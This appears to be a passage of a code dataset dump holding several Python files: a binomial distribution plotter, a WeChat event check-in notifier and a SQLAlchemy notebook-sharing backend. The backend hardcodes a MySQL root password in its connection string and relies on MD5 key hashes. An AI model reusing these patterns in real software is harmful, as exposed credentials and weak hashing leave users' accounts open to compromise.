\"__main__\":\n app.run(host=\"0.0.0.0\", port=8080)\n","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"110609687","text":"__author__ = 'Caitao Zhan'\n__email__ = 'caitao.zhan@stonybrook.edu'\n\n\nfrom distriBase import DistriBase\nfrom scipy.special import comb\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass Binomial(DistriBase):\n \"\"\"Binomial Distribution. P(X=i) = (n choose i) * p^i * (1-p)^(n-i)\n\n Attributies:\n n (int): the number independent experiences. When n=1, binomial = bernoulli.\n p (float): probability of success in one independent experience\n \"\"\"\n\n def __init__(self, n, p):\n \"\"\"Initialize binomial distribution with paramater n and p\n\n Args:\n n (int): the number independent experiences. When n=1, binomial = bernoulli.\n p (float): probability of success in one independent experience\n \"\"\"\n DistriBase.__init__(self, 'Binomial')\n self.n = n\n self.p = p\n self.X = np.arange(0, n+1)\n for i in range(n+1):\n self.P.append(comb(n,i) * (p**i) * ((1-p)**(n-i)) ) \n self.C.append(self.P[0])\n for i in range(1, n+1):\n self.C.append(self.C[i-1] + self.P[i])\n\n def __str__(self):\n return 'Name = %s, n = %d, p = %f' % (self.getName(), self.n, self.p)\n\n def plot(self):\n plt.figure('Probability Distribution')\n plt.bar(self.X, self.P, 0.8)\n x_axis = np.arange(len(self.X))\n y_axis = np.arange(0, max(self.P)+0.02, 0.02)\n plt.xticks(x_axis)\n plt.yticks(y_axis)\n plt.xlabel('x')\n plt.ylabel('Pr[X=x]')\n plt.title(str(self))\n plt.grid()\n\n plt.figure('Cumulative Distribution')\n plt.plot(self.X, self.C)\n x_axis = np.arange(len(self.X))\n y_axis = np.arange(0, 1.1, 0.1)\n plt.xticks(x_axis)\n plt.yticks(y_axis)\n plt.xlabel('x')\n plt.ylabel('Pr[X<=x]')\n plt.title(str(self))\n plt.grid()\n\n plt.show()\n\n\nif __name__ == '__main__':\n binomial = Binomial(5, 0.35)\n binomial.plot()\n\n","sub_path":"distribution/binomial.py","file_name":"binomial.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"615702190","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport copy\n\nimport datetime\nfrom app.services.mq_send_service import MQSendService\nfrom datebase.participant_dao import ParticipantDao\nfrom datebase.party_dao import PartyDao\nfrom datebase.party_ticket_item_dao import PartyTicketItemDao\nfrom datebase.user_dao import UserDao\nfrom datebase.wexin_subscribe_dao import WeixinSubscribeDao\n\nfrom commons import dateutil\nfrom datebase.account_dao import AccountDao\nfrom datebase.database_builder import DatabaseBuilder\nfrom service_bo.base_service import BaseService\nfrom service_bo.bos.account import AccountType\nfrom wechat.wechat_helper import WechatHelper\nfrom wechat.weixin_template_builder import WeixinTemplateBuilder\n\n__author__ = 'freeway'\n\n\nclass WeChatNoticeService(BaseService):\n\n def __init__(self):\n self._default_db = DatabaseBuilder.get_default_db_instance()\n\n def check_in_for_weixin(self, check_in_for_weixin_get_req_bo):\n \"\"\"\n\n :param check_in_for_weixin_get_req_bo:\n :type check_in_for_weixin_get_req_bo: app.services.bos.participant.CheckInForWeiXinGetReqBO\n :return:\n :rtype:\n \"\"\"\n\n with self.create_session(self._default_db) as session:\n account_dao = AccountDao(session)\n open_id = check_in_for_weixin_get_req_bo.open_id\n app_id = check_in_for_weixin_get_req_bo.app_id\n # open_id\n account_name = open_id\n # 获取微信账号\n account = account_dao.get_by_name_account_type_app_id(account_name,\n AccountType.WEIXIN,\n app_id=app_id)\n # 账号不存在\n if account is None:\n return \"你扫描了一个无效的签到码\"\n # 获取扫码的结果\n paty_id_checkin_code = check_in_for_weixin_get_req_bo.paty_id_checkin_code\n split_parts = str(paty_id_checkin_code).split('|')\n if len(split_parts) != 2:\n return \"你扫描了一个无效的签到码\"\n party_id, checkin_code = split_parts\n # 获取当前活动\n party_dao = PartyDao(session)\n party = party_dao.get(party_id)\n # 活动不存在\n if party is None:\n return \"你扫描了一个无效的签到码\"\n # 当前用户与活动组织者不一致,无权操作!\n if account.user_id != party.user_id:\n return \"你扫描了一个无效的签到码\"\n # 获取报名信息\n participant_dao = ParticipantDao(session)\n user_dao = UserDao(session)\n participant = participant_dao.get_participant_by_party_id_and_checkin_code(party_id, checkin_code)\n # 报名信息不存在\n if participant is None:\n return \"你扫描了一个无效的签到码\"\n # 该用户已经签到\n if participant.is_checkin:\n return \"该用户已经签到!\"\n participant.is_checkin = True\n participant_dao.update(participant)\n user = user_dao.get(participant.user_id) if participant.user_id else None\n if user is None:\n return \"你扫描了一个无效的签到码\"\n party_owner = user_dao.get(party.user_id) if party.user_id else None\n if party_owner is None:\n return \"你扫描了一个无效的签到码\"\n # 通过MQ给报名人发微信通知\n MQSendService.send_to_participant_for_check_in(participant.party_id, participant.user_id)\n # 给活动组织者回复微信通知\n check_in_party_owner_template_message = WeixinTemplateBuilder.get_template_by_name('check_in_party_owner')\n if check_in_party_owner_template_message:\n participant_dao = ParticipantDao(session)\n check_in_count = participant_dao.get_check_in_count_by_party_id(party_id)\n total_count = participant_dao.count_by_party_id(party_id)\n not_check_in_count = total_count - check_in_count\n params = [user.name, party.title, check_in_count]\n message = check_in_party_owner_template_message.format(*params)\n if not_check_in_count == 0:\n message += ',全员签到完毕。'\n else:\n message = message + ',' + str(not_check_in_count) + '人未签到。'\n if participant.charge > 0:\n ticket_item_dao = PartyTicketItemDao(session)\n ticket_item = ticket_item_dao.get_by_ticket_item_id_party_id(participant.ticket_item_id, participant.party_id)\n message += '\\n收费项目名称:' + str(ticket_item.name) + '\\n项目价格:' + str(ticket_item.price)\n else:\n message = user.name + '在“' + str(party.title) + '”进行了签到!'\n return message\n\n def send_participant_check_in_message_for_weixin(self, party_id, user_id):\n \"\"\" 给报名人发送签到成功的微信公众号通知\n\n :param user_id:\n :type user_id:\n :return:\n :rtype:\n \"\"\"\n with self.create_session(self._default_db) as session:\n user_dao = UserDao(session)\n party_dao = PartyDao(session)\n user = user_dao.get(user_id) if user_id else None\n party = party_dao.get(party_id) if party_id else None\n if user is None or party is None:\n return\n participant_open_id, participant_is_subscribed = self.get_open_id_is_subscribed_by_user_id(user_id)\n check_in_participant_template_message = WeixinTemplateBuilder.get_template_by_name('check_in_participant')\n if participant_open_id and participant_is_subscribed and check_in_participant_template_message:\n template_id = check_in_participant_template_message['template_id']\n message = copy.deepcopy(check_in_participant_template_message['data'])\n message['first']['value'] = str(message['first']['value']).format(user.name)\n message['keyword1']['value'] = str(message['keyword1']['value']).format(party.title)\n message['keyword2']['value'] = str(message['keyword2']['value']).format(dateutil.datetime_to_string(datetime.datetime.now(), '%Y-%m-%d %H:%M'))\n message['keyword3']['value'] = str(message['keyword3']['value']).format(party.address)\n message['remark']['value'] = str(message['remark']['value']).format(user.name)\n wechat = WechatHelper.get_wechat_basic()\n wechat.send_template_message(participant_open_id, template_id, message, url=Settings.SITE_ROOT + \"/parties/\" + party.party_id + \"/detail\")\n\n def get_open_id_is_subscribed_by_user_id(self, user_id):\n \"\"\" 获取微信的open_id, 还有该用户是否订阅过公众账号\n\n :param user_id:\n :type user_id:\n :return:\n :rtype:\n \"\"\"\n with self.create_session(self._default_db) as session:\n app_id = WechatHelper.get_app_id()\n account_dao = AccountDao(session)\n account = account_dao.get_by_user_id_account_type(user_id, AccountType.WEIXIN, app_id)\n if account is None:\n return None, False\n open_id = account.name if account else None\n # 如果被扫码用户未关注公众账号则不发送微信通知\n weixin_num = WechatHelper.get_weixin_num()\n is_subscribed = False\n if weixin_num:\n wexin_subscribe_dao = WeixinSubscribeDao(session)\n wexin_subscribe = wexin_subscribe_dao.get_by_weixin_num_open_id(weixin_num, open_id)\n if wexin_subscribe and wexin_subscribe.is_subscribed:\n is_subscribed = True\n return open_id, is_subscribed","sub_path":"wechat/wechat_notice_service.py","file_name":"wechat_notice_service.py","file_ext":"py","file_size_in_byte":8054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"109255605","text":"from sqlalchemy import Column, Integer, BigInteger, String, DateTime, Text, \\\n PrimaryKeyConstraint, ForeignKey, Index, Table, \\\n create_engine\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import relationship, sessionmaker\nfrom sqlalchemy.sql import and_, or_, functions as f\nimport sqlalchemy as sql\nfrom Configs import *\nimport traceback\n\n\nbase = declarative_base()\n\n# 用户 - 笔记本收藏关系\nUserNotebookCollection = Table(\n \"user_notebook_collection\",\n base.metadata,\n Column(\"uid\", Integer, ForeignKey('user.uid')),\n Column(\"nid\", Integer, ForeignKey('notebook.nid'))\n)\n\n\nclass User(base):\n __tablename__ = \"user\"\n # 用户序号\n uid = Column(Integer, primary_key=True, autoincrement=True)\n # 用户id,最大长度16,数字,字母,下划线组成。首个字符必须是字母\n rid = Column(String(16), index=True)\n # 用户注册时间\n reg_time = Column(DateTime)\n # md5(用户序号+用户id+用户私钥)\n u_key_md5 = Column(String(32))\n # 用户昵称,长度<32\n name = Column(String(32))\n # 用户头像地址\n avatar = Column(String(32))\n # 用户的个性签名\n desc = Column(String(128))\n # 用户状态, 0\n status = Column(Integer)\n\n # 用户收藏关系,是 用户-笔记本的 Many to Many 关系\n # backref表示在 Notebook 上可以用 Notebook.collectors 访问\n collection = relationship(\"Notebook\", secondary=UserNotebookCollection, backref=\"collectors\")\n\n\nclass Friends(base):\n __tablename__ = \"friends\"\n # 好友关系编号\n fid = Column(Integer, primary_key=True, autoincrement=True)\n # 用户1 rid\n uid1 = Column(Integer)\n # 用户2 rid\n uid2 = Column(Integer)\n # 状态\n # 0 表示 用户1与用户2结为好友关系\n # 1 表示 用户1正在向用户2提出好友申请,,\n # 2 表示 用户2正在向用户1提出好友申请\n # 3 表示 用户2拒绝了用户1的好友申请\n # 4 表示 用户1拒绝了用户2的好友申请\n status = Column(Integer)\n status_time = Column(DateTime)\n\n\nIndex(\"ix_f_id1\", Friends.uid1)\nIndex(\"ix_f_id2\", Friends.uid2)\n\n\nclass Notebook(base):\n __tablename__ = \"notebook\"\n # 笔记本编号\n nid = Column(Integer, primary_key=True, autoincrement=True)\n # 笔记本id(最大长度16)\n rid = Column(String(16), index=True)\n # 笔记本名称(最大长度32)\n name = Column(String(32))\n # 笔记本创建者\n creator = Column(Integer, ForeignKey(User.uid))\n # 笔记本创建时间\n create_time = Column(DateTime)\n # 笔记本描述(最大128字符)\n desc = Column(String(128))\n # 笔记本权限\n # 0 表示 仅作者, 1 表示多人有写权限, 2 表示���开(任何人有写权限), 4表示 多人权限仍在审核中\n mode = Column(Integer)\n author = relationship(User, backref=\"notebooks\")\n # 内容长度,初始为0\n content_length = Column(Integer)\n\n\nclass UserNotebookMode(base):\n __tablename__ = \"user_notebook_mode\"\n uid = Column(Integer, ForeignKey(User.uid))\n nid = Column(Integer, ForeignKey(Notebook.nid))\n # 0 表示 正在接受写权限, 1 表示已经拥有写权限, 2 表示任何人都有写权限, 3 表示拒绝写权限\n write_auth = Column(Integer)\n # 0 表示不显示在主页上, 1 表示显示在主页上\n show_mode = Column(Integer)\n # 最后一次操作时间\n last_op_time = Column(DateTime, index=True)\n PrimaryKeyConstraint(uid, nid)\n user = relationship(User, backref=\"preferred_notebooks\")\n notebook = relationship(Notebook, backref=\"preferred_writers\")\n\nclass NotebookContent(base):\n __tablename__ = \"notebook_content\"\n cid = Column(BigInteger, primary_key=True, autoincrement=True)\n # 作者id\n uid = Column(Integer, ForeignKey(User.uid), index=True)\n # 笔记本id\n nid = Column(Integer, ForeignKey(Notebook.nid), index=True)\n # 楼层号\n floor = Column(Integer)\n # 回复楼层\n ref = Column(Integer)\n # 发布时间\n time = Column(DateTime)\n content = Column(Text)\n imgs = Column(String(320))\n notebook = relationship(Notebook, backref=\"contents\")\n author = relationship(User, backref=\"contents\")\n\n\nclass VoteHistory(base):\n __tablename__ = \"vote_history\"\n vid = Column(BigInteger, primary_key=True, autoincrement=True)\n nid = Column(Integer, ForeignKey(Notebook.nid), index=True)\n cid = Column(BigInteger, ForeignKey(NotebookContent.cid))\n uid = Column(Integer, ForeignKey(User.uid))\n time = Column(DateTime)\n # 0: upvote 1:downvote, 2:reward\n vote_type = Column(Integer)\n # The amount of reward, default 0\n amount = Column(BigInteger)\n\n\nIndex(\"ix_vh_u_c\", VoteHistory.uid, VoteHistory.cid)\n\n\nclass ServerData(base):\n __tablename__ = \"server_data\"\n key = Column(String(30), primary_key=True)\n value = Column(BigInteger)\n\nclass UserPoints(base):\n __tablename__ = \"user_points\"\n uid = Column(Integer, ForeignKey(User.uid), primary_key=True)\n points = Column(BigInteger, default=0)\n user = relationship(User, backref=\"points\")\n\n\n\nclass UserPointRecord(base):\n \"\"\"\n 用户得到的积分记录\n \"\"\"\n __tablename__ = \"point_record\"\n rid = Column(BigInteger, primary_key=True, autoincrement=True)\n uid = Column(Integer, ForeignKey(User.uid))\n num = Column(BigInteger)\n # reward_id giver_id\n # 0 表示 空投, 无效 无效\n # 1 表示被点赞 被点赞content cid 点赞人\n # 7 表示被取消点赞 被点赞的content cid 点赞人\n # 2 表示被奖赏 被奖赏content cid 奖赏人\n # 3 表示创建笔记本 创建笔记本的nid 无效\n # 4 表示发布内容 发布的内容的cid 无效\n # 5 表示奖赏他人 奖赏给他人的cid 他人的id\n # 6 系统扣除\n reward_type = Column(Integer)\n reward_id = Column(BigInteger)\n giver_id = Column(BigInteger)\n\nIndex(\"ix_u_p_r\", UserPointRecord.giver_id, UserPointRecord.reward_id)\n\n\nclass UserTransactions(base):\n __tablename__ = \"user_transactions\"\n tid = Column(BigInteger, primary_key=True, autoincrement=True)\n uid = Column(Integer, ForeignKey(User.uid))\n amount = Column(BigInteger)\n address = Column(String(256))\n tx_hash = Column(String(256))\n\n\nengine = create_engine(\"mysql+pymysql://root:zhengfei@127.0.0.1/note01?charset=utf8\",\n encoding=encoding)\nSession = sessionmaker()\nSession.configure(bind=engine)\nbase.metadata.bind = engine\nbase.metadata.create_all()\n\n\ndef dbmsg(msg='ok', data=None):\n return {'dbmsg': msg, 'data': data}\n\n\nimport datetime\n\n\ndef login(rid: str, key_md5: str):\n session = Session()\n try:\n user = session.query(User).filter_by(rid=rid).one_or_none()\n if not user or user.u_key_md5 != key_md5:\n return dbmsg(\"00\")\n else:\n return dbmsg(data={\n \"uid\": user.uid\n })\n except:\n traceback.print_exc()\n finally:\n session.close()\n\n\ndef user_register(rid: str, key_md5:str, name:str, avatar:str, desc:str):\n # check limits\n if len(rid) > 16 or \\\n len(key_md5) > 32 or \\\n len(name) > 32 or \\\n len(avatar) > 32 or \\\n len(desc) > 128:\n return dbmsg(\"s1\")\n\n session = Session()\n try:\n # 检查用户名可用性\n if session.query(User).filter(User.rid == rid).one_or_none():\n return dbmsg(\"11\")\n user = User(\n rid=rid,\n u_key_md5=key_md5,\n reg_time=datetime.datetime.today(),\n name=name,\n avatar=avatar,\n status=0\n )\n session.add(user)\n session.commit()\n # # 积分操作 # #\n # 用户积分记录初始化\n uid = session.query(User).filter_by(rid=rid).one().uid\n user_points = UserPoints(\n uid=uid,\n points=0\n )\n session.add(user_points)\n session.commit()\n # 发放初始积分\n transfer_points(uid, -1, -1, PP.initial_points, 0)\n return dbmsg()\n except:\n traceback.print_exc()\n finally:\n session.close()\n\n\ndef create_notebook(rid:str, name:str, creator_id:int, desc:str, writer_list:list,\n public:int):\n # 检查 rid、名称、描述的长度\n if len(rid) > 16 or \\\n len(name) > 32 or \\\n len(desc) >128:\n return dbmsg(\"s1\")\n\n\n # 写权限拥有人数过多\n if len(writer_list) > 9:\n return dbmsg(\"63\")\n\n # 存在同样的笔记本\n session = Session()\n try:\n if session.query(Notebook).filter(Notebook.rid == rid).one_or_none():\n return dbmsg(\"61\")\n\n # 如果写权限列表为空,则默认是公开笔记本\n if len(writer_list) == 0:\n mode = 2\n # 写权限列表长度为1,则为仅作者可写\n elif len(writer_list) == 1:\n mode = 0\n # 否则是多人可写\n else:\n mode = 4\n\n # 检查写权限用户是否存在\n writer_uid_list = []\n for writer_rid in writer_list:\n writer = session.query(User).filter(User.rid == writer_rid).one_or_none()\n if not writer:\n return dbmsg(\"21\", data=writer_rid)\n writer_uid_list.append(writer.uid)\n # # 积分操作 # #\n # 检查是否有足够的积分,如果有,则扣分\n if get_user_points(creator_id)[\"data\"] < PP.create_notebook_cost:\n return dbmsg(\"a1\")\n\n # 写权限列表的第一个人必须是创建者\n if len(writer_uid_list) > 0 and writer_uid_list[0] != creator_id:\n return dbmsg(\"s2\")\n\n\n notebook = Notebook(\n rid=rid,\n name=name,\n creator=creator_id,\n create_time=datetime.datetime.today(),\n desc=desc,\n mode=mode,\n content_length=0\n )\n\n session.add(notebook)\n notebook = session.query(Notebook).filter_by(rid=rid).one()\n if mode == 2:\n creator_auth = 2\n else:\n creator_auth = 1\n session.add(UserNotebookMode(\n uid=creator_id,\n nid=notebook.nid,\n write_auth=creator_auth,\n show_mode=public,\n last_op_time=datetime.datetime.today()\n ))\n for uid in writer_uid_list[1:]:\n session.add(UserNotebookMode(\n uid=uid,\n nid=notebook.nid,\n write_auth=0,\n show_mode=0\n ))\n\n session.commit()\n # # 积分操作 ##\n # 注意创建笔记本减少积分,所以积分是负数\n transfer_points(creator_id, -1, notebook.nid, -PP.create_notebook_cost, 3)\n return dbmsg(\"ok\")\n except:\n traceback.print_exc()\n finally:\n session.close()\n\n\ndef auth_notebook(uid:int, nid:int, act:int):\n \"\"\"\n :param uid:\n :param nid:\n :param act: 1 接受 2 拒绝\n :return:\n \"\"\"\n session = Session()\n try:\n user = session.query(User).filter_by(uid=uid).one_or_none()\n if not user:\n return dbmsg(\"21\")\n notebook = session.query(Notebook).filter_by(nid=nid).one_or_none()\n if not notebook:\n return dbmsg(\"31\")\n user_notebook_mode = session.query(UserNotebookMode).\\\n filter_by(nid=nid, uid=uid).one_or_none()\n if not user_notebook_mode:\n return dbmsg(\"71\")\n if user_notebook_mode.write_auth == 1:\n return dbmsg(\"72\")\n elif user_notebook_mode.write_auth == 2:\n return dbmsg(\"74\")\n elif user_notebook_mode.write_auth == 3:\n return dbmsg(\"73\")\n # 由于在UserNotebookMode里面,3表示 拒绝写权限。\n if act == 2:\n act = 3\n user_notebook_mode.write_auth = act\n user_notebook_mode.last_op_time = datetime.datetime.today()\n remain_auths = \\\n session.query(UserNotebookMode).filter_by(nid=nid, write_auth=0).one_or_none()\n if not remain_auths:\n notebook.mode = 1\n session.commit()\n return dbmsg(\"ok\")\n except:\n traceback.print_exc()\n finally:\n session.close()\n\n\n# 根据 uid 获得简单的账户信息\ndef get_simple_account_info(account_id):\n session = Session()\n try:\n if type(account_id) is int:\n user = session.query(User).filter_by(uid=account_id).one_or_none()\n elif type(account_id) is str:\n user = session.query(User).filter_by(rid=account_id).one_or_none()\n else:\n return dbmsg(\"s0\")\n if not user:\n return dbmsg(\"21\")\n res = {\n \"id\": [user.uid, user.rid],\n \"name\": user.name,\n \"avatar\": user.avatar\n }\n return dbmsg(data=res)\n except:\n traceback.print_exc()\n finally:\n session.close()\n\n# 获得自己的账户信息\ndef get_my_account_info(uid:int):\n session = Session()\n try:\n user = session.query(User).filter_by(uid=uid).one_or_none()\n if not user:\n return dbmsg(\"21\")\n public_notebooks = session.query(UserNotebookMode).\\\n filter(UserNotebookMode.uid == uid, UserNotebookMode.write_auth == 2).\\\n order_by(sql.desc(UserNotebookMode.last_op_time)).all()\n private_notebooks = session.query(UserNotebookMode). \\\n filter(UserNotebookMode.uid == uid, UserNotebookMode.write_auth == 1). \\\n order_by(sql.desc(UserNotebookMode.last_op_time)).all()\n public_notebooks_json = []\n for notebook_mode in public_notebooks:\n notebook = notebook_mode.notebook\n writers = session.query(UserNotebookMode).\\\n filter_by(nid=notebook.nid).all()\n writer_arr = [[{\"id\": [writer.uid, writer.user.rid],\n \"user_auth\": writer.write_auth,\n \"name\": writer.user.name,\n \"avatar\": writer.user.avatar}]\n for writer in writers]\n public_notebooks_json.append({\n \"id\": [notebook.nid, notebook.rid],\n \"name\": notebook.name,\n \"creator\": notebook.creator,\n \"desc\": notebook.desc,\n \"writers\": writer_arr,\n \"mode\": notebook.mode,\n \"public\": notebook_mode.show_mode,\n \"length\": notebook.content_length\n })\n private_notebooks_json = []\n for notebook_mode in private_notebooks:\n notebook = notebook_mode.notebook\n writers = session.query(UserNotebookMode).\\\n filter_by(nid=notebook.nid).all()\n writer_arr = [[{\"id\": [writer.uid, writer.user.rid],\n \"user_auth\": writer.write_auth,\n \"name\": writer.user.name,\n \"avatar\": writer.user.avatar}]\n for writer in writers]\n private_notebooks_json.append({\n \"id\": [notebook.nid, notebook.rid],\n \"name\": notebook.name,\n \"creator\": notebook.creator,\n \"desc\": notebook.desc,\n \"writers\": writer_arr,\n \"mode\": notebook.mode,\n \"public\": notebook_mode.show_mode,\n \"length\": notebook.content_length\n })\n res = {\n \"id\": [uid, user.rid],\n \"name\": user.name,\n \"avatar\": user.avatar,\n \"public_notebooks\": public_notebooks_json,\n \"private_notebooks\": private_notebooks_json\n }\n return dbmsg(data=res)\n except:\n traceback.print_exc()\n finally:\n session.close()\n\n'''\n rid 可以是 int 也可以是 str \n'''\ndef get_account_info(account_id):\n session = Session()\n try:\n if type(account_id) == str:\n user = session.query(User).filter_by(rid=account_id).one_or_none()\n elif type(account_id) == int:\n user = session.query(User).filter_by(uid=account_id).one_or_none()\n else:\n return dbmsg(\"s0\")\n if not user:\n return dbmsg(\"21\")\n open_notebook_modes = session.query(UserNotebookMode).\\\n filter(UserNotebookMode.uid == user.uid,\n UserNotebookMode.show_mode == 1,\n or_(UserNotebookMode.write_auth == 1, UserNotebookMode.write_auth == 2))\n open_notebooks = [mode.notebook for mode in open_notebook_modes]\n notebooks_json = []\n # 返回该账户公开在主页上的笔记本\n for open_notebook in open_notebooks:\n # 该笔记本的写权限仍然在接受中\n if open_notebook.mode == 4:\n continue\n writers = [{\"user_id\": [ writer.uid, writer.user.rid ],\n \"name\": writer.user.name,\n \"avatar\": writer.user.avatar }\n for writer in open_notebook.preferred_writers]\n notebooks_json.append({\n \"notebook_id\": [open_notebook.nid, open_notebook.rid],\n \"notebook_name\": open_notebook.name,\n \"notebook_desc\": open_notebook.desc,\n \"notebook_writers\":writers\n })\n res = {\n \"user_id\": [user.uid, user.rid],\n \"name\": user.name,\n \"avatar\": user.avatar,\n \"open_notebooks\": notebooks_json\n }\n return dbmsg(data=res)\n except:\n traceback.print_exc()\n finally:\n session.close()\n\ndef get_my_unauthed_notebooks(uid:int):\n session = Session()\n try:\n notebooks = session.query(UserNotebookMode).\\\n filter(UserNotebookMode.uid == uid, UserNotebookMode.write_auth == 0).all()\n notebooks_json = []\n for notebook_mode in notebooks:\n notebook = notebook_mode.notebook\n writers = session.query(UserNotebookMode).\\\n filter_by(nid=notebook.nid).all()\n writer_arr = [{\"id\": [writer.uid,writer.user.rid],\n \"write_auth\": writer.write_auth,\n \"name\": writer.user.name,\n \"avatar\": writer.user.avatar}\n for writer in writers]\n authed_writers = [writer for writer in writer_arr if writer[\"write_auth\"] == 1]\n unauthed_writers = [writer for writer in writer_arr if writer[\"write_auth\"] == 0]\n rejected_writers = [writer for writer in writer_arr if writer[\"write_auth\"] == 3]\n notebooks_json.append({\n \"id\": [notebook.nid, notebook.rid],\n \"name\": notebook.name,\n \"creator\": {\n \"id\": [notebook.author.uid, notebook.author.rid],\n \"name\": notebook.author.name,\n \"avatar\": notebook.author.avatar\n },\n \"authed_writers\": authed_writers,\n \"unauthed_writers\": unauthed_writers,\n \"rejected_writers\": rejected_writers,\n \"mode\": notebook.mode,\n \"public\": notebook_mode.show_mode\n })\n return dbmsg(data=notebooks_json)\n except:\n traceback.print_exc()\n finally:\n session.close()\n\n\ndef get_my_notebook_requests(uid:int):\n session = Session()\n try:\n notebooks = session.query(Notebook).\\\n filter(Notebook.creator == uid, Notebook.mode == 4).all()\n notebooks_json = []\n for notebook in notebooks:\n writers = session.query(UserNotebookMode).\\\n filter_by(nid=notebook.nid).all()\n writer_arr = [{\"id\": [writer.uid,writer.user.rid],\n \"write_auth\": writer.write_auth,\n \"name\": writer.user.name,\n \"avatar\": writer.user.avatar}\n for writer in writers]\n authed_writers = [writer for writer in writer_arr if writer[\"write_auth\"] == 1]\n unauthed_writers = [writer for writer in writer_arr if writer[\"write_auth\"] == 0]\n rejected_writers = [writer for writer in writer_arr if writer[\"write_auth\"] == 3]\n notebooks_json.append({\n \"id\": [notebook.nid, notebook.rid],\n \"name\": notebook.name,\n \"creator\": {\n \"id\": [notebook.author.uid, notebook.author.rid],\n \"name\": notebook.author.name,\n \"avatar\": notebook.author.avatar\n },\n \"authed_writers\": authed_writers,\n \"unauthed_writers\": unauthed_writers,\n \"rejected_writers\": rejected_writers,\n \"mode\": notebook.mode,\n \"public\": writers[0].show_mode\n })\n return dbmsg(data=notebooks_json)\n except:\n traceback.print_exc()\n finally:\n session.close()\n\n# 第三方查看笔记本信息\ndef get_notebook_info(rid):\n session = Session()\n try:\n if type(rid) is int:\n notebook = session.query(Notebook).filter(Notebook.nid == rid).\\\n one_or_none()\n elif type(rid) is str:\n notebook = session.query(Notebook).filter(Notebook.rid == rid).\\\n one_or_none()\n else:\n return dbmsg(\"s0\")\n if not notebook:\n return dbmsg(\"31\")\n nid = notebook.nid\n # 此时只查看得到已经同意写该笔记本的用户作为笔记本作者\n writers = session.query(UserNotebookMode).filter_by(nid=nid, write_auth=1).all()\n writers = [writer.user for writer in writers]\n writers_json = [{\n \"user_id\": [writer.uid, writer.rid],\n \"name\": writer.name,\n \"avatar\": writer.avatar\n } for writer in writers]\n res = {\n \"id\": [notebook.nid, notebook.rid],\n \"name\": notebook.name,\n \"desc\": notebook.desc,\n \"writers\": writers_json,\n \"length\": notebook.content_length\n }\n return dbmsg(data=res)\n except:\n traceback.print_exc()\n finally:\n session.close()\n\n\ndef get_notebook_contents(nid:int, start:int, end:int, uid=None):\n session = Session()\n try:\n notebook = session.query(Notebook).filter_by(nid=nid)\n if not notebook:\n return dbmsg(\"31\")\n contents = session.query(NotebookContent).filter_by(nid=nid).\\\n order_by(NotebookContent.cid)[start:end]\n res = []\n for content in contents:\n content_info = {\n \"cid\": content.cid,\n \"uid\": content.uid,\n \"time\": str(content.time),\n \"content\": content.content,\n \"imgs\": content.imgs,\n \"floor\": content.floor,\n \"ref\":content.ref,\n \"author\": {\n \"id\": [content.author.uid, content.author.rid],\n \"name\": content.author.name,\n \"avatar\": content.author.avatar\n }\n }\n upvote_count = session.query(VoteHistory).\\\n filter_by(cid = content.cid, vote_type=0).count()\n downvote_count = session.query(VoteHistory).\\\n filter_by(cid=content.cid, vote_type=1).count()\n reward_sum = session.query(f.sum(VoteHistory.amount)).\\\n filter_by(cid=content.cid, vote_type=2).scalar()\n # scalar() 返回的是 Decimal,需要转换成int才可以转JSON\n if reward_sum is None:\n reward_sum = 0\n else:\n reward_sum = int(reward_sum)\n if uid:\n my_upvote = session.query(VoteHistory).\\\n filter_by(cid = content.cid, uid=uid, vote_type=0).count()\n my_downvote = session.query(VoteHistory).\\\n filter_by(cid=content.cid, vote_type=1, uid=uid).count()\n my_reward = session.query(f.sum(VoteHistory.amount)).\\\n filter_by(cid=content.cid, uid=uid, vote_type=2).scalar()\n if my_reward is None:\n my_reward = 0\n else:\n my_reward = int(my_reward)\n else:\n my_upvote = 0\n my_downvote = 0\n my_reward = 0\n content_info[\"upvote\"] = [upvote_count, my_upvote]\n content_info[\"downvote\"] = [downvote_count, my_downvote]\n content_info[\"reward\"] = [reward_sum, my_reward]\n res.append(content_info)\n return dbmsg(data=res)\n except:\n traceback.print_exc()\n finally:\n session.close()\n\ndef write_notebook_content(uid:int, nid:int, content:str, imgs:str=\"\", ref:int=0):\n new_content = NotebookContent(uid=uid, nid=nid,\n time=datetime.datetime.today(),\n content=content, imgs=imgs,\n ref=ref)\n\n # 检查格式\n if len(imgs) > 320:\n return dbmsg(\"s1\")\n\n session = Session()\n try:\n # # 积分操作 ##\n # 检查积分是否足够\n if get_user_points(uid)['data'] < PP.reply_notebook_cost:\n return dbmsg(\"a1\")\n\n # 检查回复的楼层是否存在\n if ref != 0:\n ref_content = session.query(NotebookContent).filter_by(nid=nid, floor=ref).\\\n one_or_none()\n if not ref_content:\n return dbmsg(\"92\")\n # 把 notebook表对应的 notebook记录锁住,防止两个事务同时发生出现错误\n notebook = session.query(Notebook).\\\n filter_by(nid=nid).with_lockmode(\"update\").one_or_none()\n if not notebook:\n return dbmsg(\"31\")\n # 则查看是否有写权限\n notebook_mode = session.query(UserNotebookMode).filter_by(uid=uid, nid=nid). \\\n one_or_none()\n # 如果不是公开笔记本且没有权限(或者是未接收、拒绝状态)\n if notebook.mode != 2 and (not notebook_mode or notebook_mode.write_auth != 1):\n return dbmsg(\"91\")\n if notebook_mode:\n notebook_mode.last_op_time = datetime.datetime.now()\n new_content.floor = notebook.content_length + 1\n notebook.content_length += 1\n session.add(new_content)\n session.commit()\n new_content = session.query(NotebookContent).filter_by(\n uid=uid, nid=nid, floor=new_content.floor\n ).one()\n # 扣除积分\n transfer_points(uid, -1, new_content.cid, - PP.reply_notebook_cost, 4)\n return dbmsg(\"ok\")\n except:\n traceback.print_exc()\n finally:\n session.close()\n\n\n# 添加好友\n# 1 表示 uid1 向 uid2 发起好友申请\n# 2 表示 uid1 同意 uid2 好友申请\n# 3 表示 uid1 拒绝 uid2 好友申请\n# 4 表示 uid1 删除与 uid2 的好友关系\ndef make_friend(uid1: int, uid2: int, act:int):\n if uid1 == uid2:\n return dbmsg(\"52\")\n session = Session()\n 